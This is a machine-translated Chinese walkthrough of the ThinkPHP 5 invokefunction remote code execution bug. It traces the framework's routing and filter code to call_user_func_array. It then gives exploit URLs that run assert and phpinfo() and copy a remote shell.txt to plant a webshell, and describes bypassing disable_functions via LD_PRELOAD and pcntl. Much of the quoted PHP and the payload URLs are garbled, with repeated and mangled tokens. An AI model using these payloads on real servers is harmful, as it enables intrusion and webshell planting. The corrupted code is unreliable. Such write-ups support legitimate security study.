12345678911112131415161719202122222222222255PUBLIC静态函数运行(请求$请求$ request=null){……………………………………………………………………………………………………………………当前课程以获取调度信息。如果您在索引模块下的索引控制器中访问索引方法,则$ dispatch=array(2){['type']=字符串(6)'模块'['module'['module']=array(3){[0]=string(5)=string(5)'index'[1]=string(5)=(5)'index'index'index'[2]=string(5)'index'indect==} self:Routecheck($ request,$ config); } //记录当前的调度信息中检索到的计划信息,即模块,控制器和方法名称存储在请求类$ request-request-dispatch($ dispatch)的调度属性中; //记录路由和请求信息。该模式可在\ application \ config.php参数app_debug中配置,if(self: $ debug){log3:333:record('[oute route]'。 log:record('[header]'。var_export($ request-header(),true),'info'); log:record('[param]'。var_export($ request-param(),true),'info'); }………………………………}在这里,我们主要关注两个函数Routecheck和param,首先查看Routecheck

12345678PUBLIC静态函数RouteCheck($ request,array $ config){$ path=$ request-path(); $ dep=$ config ['pathinfo_depr']; $结果=false; ………………………………………………………………………………………………………………………………//Route detection (return different URL scheduling according to the route definition) $result=Route:check($request, $path, $depr, $config['url_domain_deploy']);它主要通过请求参数传递,并且在检查后基本上对所有内容进行了处理。

6.png

启用调试模式后,您可以输入param函数

1234567if(empty($ this-param)){$ method=$ this-method(true); $ this-param=array_merge($ this-get(false),$ vars,$ this-route(false));} return $ this-pution($ this-param,$ name,$ name,$ default,$ default,$ filter);跟进输入功能

1234567891011公共功能输入($ data=[],$ name='',$ default=null,$ filter=''){. $ filter=$ this-getFilter($ filter,$ filter,$ default);如果(is_array($ data)){array_walk_recursive($ data,[$ this,'filterValue'],$ filter);重置($ data); } else {$ this-filtervalue($ data,$ name,$ filter); } getFilter取出过滤器的值,这是断言

array_walk_recursive

array_walk_recursive()函数将用户定义的函数应用于数组中的每个元素。在函数中,数组的密钥名称和键值是参数。此函数和array_walk()函数之间的区别在于它可以操纵更深的数组(一个数组包含另一个数组)。

并将filterValue函数应用于$数据的每个元素,然后跟进filterValue

12345678功能滤波器($ value,$ key,$ efferters){. if(is_callable($ filter)){//调用函数或滤波$ values $ value $ value=call_user_func($ filter,$ filter,$ value); } ...} Master Gunmeng的解决方案和分析:

有效载荷参考:

来自:https://xz.aliyun.com/t/3570#toc-4

1http://127.0.0.1/index.php?s=index/think/think/invokefunctionfunction=call_user_func_arrayvars [0]

1https://127.0.0.1/?s=./\ think \ app/InvokeFunctionFunction=call_user_func_arrayvars [0]=assertvars [1] []=phpinfo()=phpinfo()

1https://127.0.0.1/?s=./\ think \ app/invokefunctionfunctionfunction=call_user_func_arrayvars [0]=assertvars [1]=copy('http://127.0.0.0.0.0.1.1/shell.txt'1/shell.txt',考虑到当前的目录情况和分析:

7.png

Route.PHP的parseurl功能将处理URL

1234567 PRIVATE静态函数parseurl($ url,$ dep='/',$ autoSearch=false){. $ url=str_replace($ dep,'|',$ url);列表($ path,$ var)=self:parseurlpath($ url);}首先用|在URL中替换/然后帕尔塞尔路径将URL分开

123456789111121314151617PRIVATE静态函数parseurlPath($ url){//定界列表替换确保路由定义使用统一的定义者$ url=str_replace('|'|',','/'/'/',$ url); $ url=trim($ url,'/'); $ var=[]; if(false!==strpos($ url,'?')){..} elseif(strpos($ url,'/'')){//[module/controler/controler/operation] $ path=exploit('/',',$ url); } else {.} return [$ path,$ var]; }获取以下三个部分

8.png

loder.php下的parsename函数当模块加载时

1234567891011 PUBLIC静态函数parsename($ name,$ type=0,$ ucfirst=true){if($ type){$ name=preg_replace_callback('/_/_([a-za-za-z])返回$ ucfirst? ucfirst($ name): lcfirst($ name); } else {return strtolower(trim(preg_replace('/[a-z]/','_ \\ 0',$ name),'_''_')); }} 9.png

现在\ think \ app类将被实例化,并将执行InvokeFunction方法

10.png

因此,添加的原因./\是您可以进一步向前跳来跳去

0x04旁路disable_functions

视图禁用

11.png

我没有在开始时仔细看残疾的内容,所以我只是使用了

https://github.com/yangyangwithnu/bypass_disablefunc_via_ld_preload

但是发现Putenv被禁用了

12.png

通过本文更改方法

https://Mochazz.github.io/2018/09/27/%E6%B8%9M97%E9%E9%80%80%80%8F%E6%B5%B5%8B%E8B%E8%AF;

我了解到使用PCNTL扩展名,确认系统支持

13.png

最后,该命令成功执行

14.png